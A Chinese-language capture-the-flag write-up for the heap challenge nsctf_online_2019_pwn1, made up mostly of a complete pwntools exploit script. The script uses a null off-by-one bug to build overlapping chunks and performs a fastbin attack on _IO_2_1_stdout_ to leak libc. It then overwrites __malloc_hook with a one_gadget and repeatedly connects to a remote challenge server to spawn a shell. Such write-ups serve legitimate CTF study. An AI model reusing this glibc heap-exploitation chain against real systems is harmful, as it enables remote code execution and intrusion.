nsctf_online_2019_pwn1
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
Edit功能里存在一个null off by one漏洞
没有show功能
我们可以利用fastbin attack,修改IO_2_1_stdout的_IO_write_base,这样,当再次调用puts或printf的时候,就会泄露出_IO_write_base~_IO_write_ptr之间的数据,更详细的可以查看我的这篇博客https://blog.csdn.net/seaaseesa/article/details/105590591
#coding:utf8
from pwn import *
#context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget = 0xf1147
def add(size,content):
sh.sendlineafter('5.exit','1')
sh.sendlineafter('Input the size:',str(size))
sh.sendafter('Input the content:',content)
def delete(index):
sh.sendlineafter('5.exit','2')
sh.sendlineafter('Input the index:',str(index))
def edit(index,size,content):
sh.sendlineafter('5.exit','4')
sh.sendlineafter('Input the index:',str(index))
sh.sendlineafter('Input size:',str(size))
sh.sendafter('Input new content:',content)
def exploit():
#0
add(0x80,'a')
#1
add(0x68,'b')
#2
add(0xF0,'c')
#3
add(0x10,'d')
delete(0)
#null off by one
edit(1,0x68,'b'*0x60 + p64(0x70 + 0x90))
#形成overlap chunk
delete(2)
add(0x80,'a') #0
add(0x68,'b') #2与1重合
add(0xF0,'c') #4
delete(0)
edit(2,0x68,'b'*0x60 + p64(0x70 + 0x90))
#重新形成overlap chunk
delete(4)
#chunk1放fastbin
delete(1)
#main_arena指针传递到chunk1的fastbin的fd
add(0x80,'a') #0
#0重新放入unsorted bin合并
delete(0)
#低字节覆盖fd,使得有一定几率指向_IO_2_1_stdout_附近
add(0x80+0x10+2,'a'*0x80 + p64(0) + p64(0x71) + p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) #0
add(0x68,'b') #1
#申请到stdout上方,篡改stdout达到数据泄露
payload = '\x00'*0x33 + p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)
add(0x59,payload) #4
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols['_IO_2_1_stdin_']
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
delete(1)
edit(2,0x8,p64(malloc_hook_addr - 0x23))
add(0x68,'b') #1
#申请到malloc_hook-0x23处
add(0x60,'\x00'*0x13 + p64(one_gadget_addr)) #5
#getshell
sh.sendlineafter('5.exit','1')
sh.sendlineafter('Input the size:','1')
while True:
try:
global sh
#sh = process('./nsctf_online_2019_pwn1')
sh = remote('node3.buuoj.cn',26396)
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'